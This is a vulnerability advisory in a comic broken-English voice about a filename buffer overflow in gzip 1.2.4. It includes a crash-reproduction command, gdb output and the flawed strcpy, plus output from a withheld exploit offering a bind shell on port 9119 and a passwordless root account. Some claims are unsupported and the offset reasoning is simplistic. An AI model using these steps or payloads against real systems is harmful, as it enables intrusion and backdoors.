+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED++++++++++++++ ALERT! ALERT! MUCH NEW BUFFEROVERFLOW FOUND IN /BIN/GZIP! ALERT! ALERT! +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Researchers from GOBBLES SECURITY have discovered many bufferoverflow in /bin/gzip on our Slackware 7.1 server in GOBBLES LABS. We could not find a contact email address for the makers of /bin/gzip so instead we have decided to fully disclose our findings here on the mailing lists and then we hope that the makers of /bin/gzip will read this and then begin to start understanding the concepts of securely programming their software so that no more systems can be comprimised by their poor coding practices. GOBBLES thinks that experienced programmers who still let their code get hacked by silly old stack overflows are very sad and pathetic programmers! But this is not the time to insult it is the time to explain how one of the many bug found works and then how it can be exploited locally then explain why it is a serious bug! This hole found by GOBBLES of GOBBLES SECURITY and fully disclosed on his groups website www.bugtraq.org and also fully disclosed to the mailing lists on www.securityfocus.com and can be freely reproduced anywhere just so long as that you do not try to claim the research of GOBBLES as your own and you also may not use the information within for any evil purposes! This is a serious matter so please do not dismiss it fast! OK so here is the story on the gzip holes. I GOBBLES first want to say sorry to everyone for my having such bad English! GOBBLES is still learning and should be not made fun of for it please! Now anyhow about the bugs here is what happened. GOBBLES was sitting in his lab all alone one day wondering about different ways to break into computer networks when he started thinking about new ways to hack ftp servers. Then GOBBLES thought "HEY I KNOW SOME FTP SERVERS RUN DIFFERENT PROGRAMS FROM THEY OWN DAEMON AND MAYBE THERE IS WAYS TO GAIN A SHELL ACCESS FROM EXPLOITING A BUFFEROVERFLOW IN ONE OF THESE!" So the GOBBLES set out to download many sources for popular FTP servers to look for the names of other programs that they used and then he found that much of them use /bin/gzip that users on the ftp server might use to compress files then send them back smaller. So the GOBBLES decided it was a good idea to take a look at the /bin/gzip on the lab computers to decide whether or not it was first exploitable then to see if he could exploit a FTP daemon with the same bug. The first thing GOBBLES do is run gzip -option AAAAAAAAAA style things. GOBBLES@LABSLACK:/hacking/gzip$ /bin/gzip -h gzip 1.2.4 (18 Aug 93) usage: gzip [-cdfhlLnNrtvV19] [-S suffix] [file ...] -c --stdout write on standard output, keep original files unchanged -d --decompress decompress -f --force force overwrite of output file and compress links -h --help give this help -l --list list compressed file contents -L --license display software license -n --no-name do not save or restore the original name and time stamp -N --name save or restore the original name and time stamp -q --quiet suppress all warnings -r --recursive operate recursively on directories -S .suf --suffix .suf use suffix .suf on compressed files -t --test test compressed file integrity -v --verbose verbose mode -V --version display version number -1 --fast compress faster -9 --best compress better file... files to (de)compress. If none given, use standard input. The first thing that GOBBLES try to do is just run the program with a lot of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA after it to see if he can get it to segmentation fault before trying to bruteforce it with any options. So GOBBLES pick a number and do this: GOBBLES@LABSLACK:/hacking/gzip$ /bin/gzip `perl -e 'print "A" x 2048'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA: File name too long Segmentation fault hehe OK so now we know that gzip is a piece shit to segfault so now we need to figure out how to make an exploit for this bug so we take a look at gzip.c and we find the following: ... #define MAX_PATH_LEN 1024 /* max pathname length */ ... char nbuf[MAX_PATH_LEN]; ... strcpy(nbuf,dir); ... appear to be the bufferoverflow part of the code for the choice. The programmer does not think that anyone will be telling gzip to run with a filename longer than 1024 characters! Well he is wrong because we are going to. So now we know that the buffer that we need to overflow with must be bigger than 1024 bytes but exactly how big does it need to be? Well we are running on an x86 machine so we know that we must overflow a buffer with a buffer +4 bytes bigger so it is 1024 + 4 which is equal 1028. So now it is time to write the GOBBLES exploit for gzip. A little more information will be needed before we smash the gzip stack for fun and profit so now we will run gdb to find it out. So now we do this: GOBBLES@LABSLACK:/hacking/gzip$ gdb /bin/gzip GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (no debugging symbols found)... (gdb) set args `perl -e 'print "A" x 2048'` (gdb) run Starting program: /bin/gzip `perl -e 'print "A" x 2048'` warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. warning: shared library handler failed to enable breakpoint AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA: File name too long Program received signal SIGSEGV, Segmentation fault. 0x40071a47 in ?? () (gdb) info reg eax 0x400fd998 1074780568 ecx 0xbfffc5cc -1073756724 edx 0x41414141 1094795585 ebx 0x400fe9b4 1074784692 esp 0xbffff210 0xbffff210 ebp 0xbffff21c 0xbffff21c esi 0x1 1 edi 0x41414139 1094795577 eip 0x40071a47 0x40071a47 eflags 0x10206 66054 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 fctrl 0x37f 895 fstat 0x0 0 ftag 0xffff 65535 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 fop 0x0 0 (gdb) (gdb) quit The program is running. Exit anyway? (y or n) YES GOBBLES@LABSLACK:/hacking/gzip$ Hehe now GOBBLES have all the information that he need to write he exploit! At this time GOBBLES will not be publishing the exploit because it is a little tricker than straightforward stack smashing for fun and profit and he will live figuring it out to you! Also reasons for not publishing the exploit include that it could easily be modified to be abused remotely against certain daemons and could damage a lot of systems online. GOBBLES will give vendors a few months to go through and to fix their products before he release working exploits with more information on exploiting the daemons. GOBBLES@LABSLACK:/hacking/gzip$ ls -l *.c -rw------- 1 GOBBLES hackers 27164 Nov 17 21:12 bin-gzip-exploit.c GOBBLES@LABSLACK:/hacking/gzip$ make bin-gzip-exploit cc bin-gzip-exploit.c -o bin-gzip-exploit GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit [* Confidential GOBBLES RESEARCH EXPLOIT *] [* automatic exploitation for /bin/gzip *] [* for most operating systems. No crap *] [* like offsets needed. Run with a -t 0 *] [* to get a list of shellcode types! *] [* LOVE, *] [* GOBBLES@hushmail.com *] [* http://www.bugtraq.org *] GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit -t 0 [* Confidential GOBBLES RESEARCH EXPLOIT *] [* automatic exploitation for /bin/gzip *] [* for most operating systems. No crap *] [* like offsets needed. *] [* -t 1: portbind shellcode to tcp 9119 *] [* -t 2: execve() of /bin/bash1 *] [* -t 3: execve() of /bin/sh *] [* -t 4: useradd GOBBLES to /etc/passwd *] [* and to /etc/shadow with no *] [* password and uid(0) =) *] [* LOVE, *] [* GOBBLES@hushmail.com *] [* http://www.bugtraq.org *] GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit -t 1 [* Confidential GOBBLES RESEARCH EXPLOIT *] [* automatic exploitation for /bin/gzip *] [* for most operating systems. No crap *] [* like offsets needed. *] [* *] [* OK now do like nc -vv localhost 9119 *] [* LOVE, *] [* GOBBLES@hushmail.com *] [* http://www.bugtraq.org *] GOBBLES@LABSLACK:/hacking/gzip$ nc -vv localhost 9119 localhost [127.0.0.1] 9119 (?) open id uid=1000(GOBBLES) gid=1332(hackers) groups=1332(hackers) So you see it was exploited successfully on my lab computer running Slackware Linux 7.1.0 =). The reasons that GOBBLES put portbinding shellcode into his first demonstration exploits is that he wanted to have something started for his remote exploitations using the gzip hole. Now you ask GOBBLES "this is a stupid bug and it doesn't matter why did you waste all your time writing this garbage?!?!" so here is the answer again. Many different Unix services use gzip in different ways such as FTP daemons who like to let users run gzip and tar on full directories so that they can let the users download a single nice tarball instead of a lot of unorganized files and the compression makes the transfers go faster sometimes. The idea of researching bufferoverflows in gzip was to find if there were any and then to see if they can be exploited from ftp servers. This is why GOBBLES did put his portbinding shellcode into the original exploit so that to reduce the amount of work he would have to make later while modifiying the exploit to work against different ftp servers. After a few weeks of studying this hole and variations of it and implementaitons of gzip on ftp servers the members of GOBBLES security were able to successfully exploit many ftp servers. At this time GOBBLES and GOBBLES members are not ready to list which servers are vulnerable to the bugs because they have not contacted yet the vendors and programmers about the holes yet but will soon then a followup advisory will be written with information on the holes on the different FTP daemons and possibly after all vendors have issued patches shall we publish the exploits for each of the ftp servers too. GOBBLES members also suspect that maybe this bug might be used to remotely gain access to webservers running Apache and mod_gzip but have not yet examined this possibilty. If it is possible then it could be a very dark day for all of the internet because so many servers might be afflicted with this bug. We are doing research on this very bug right now and will let the security community know that if we find anything. If you can provide GOBBLES RESEARCH LABS with information on the bug being present on other operating systems all of us would be very happy with you. If you would like to join our group please contact GOBBLES via email at GOBBLES@hushmail.com. GOBBLES SECURITY is currently looking for exploit programmers and translators to help make our advisories into easier to understand English for the security community. This advisory written mostly by GOBBLES (GOBBLES@hushmail.com). Please visit our website at http://www.bugtraq.org for learning more about us! The members of GOBBLES practice the full disclosure of information but not the full disclosure of exploits because we do not want to arm the many scriptkids of the world with munitions to destroy the internet which we at GOBBLES love so dearly. LOVE, GOBBLES +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED++++++++++++++ ALERT! ALERT! MUCH NEW BUFFEROVERFLOW FOUND IN /BIN/GZIP! ALERT! ALERT! +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++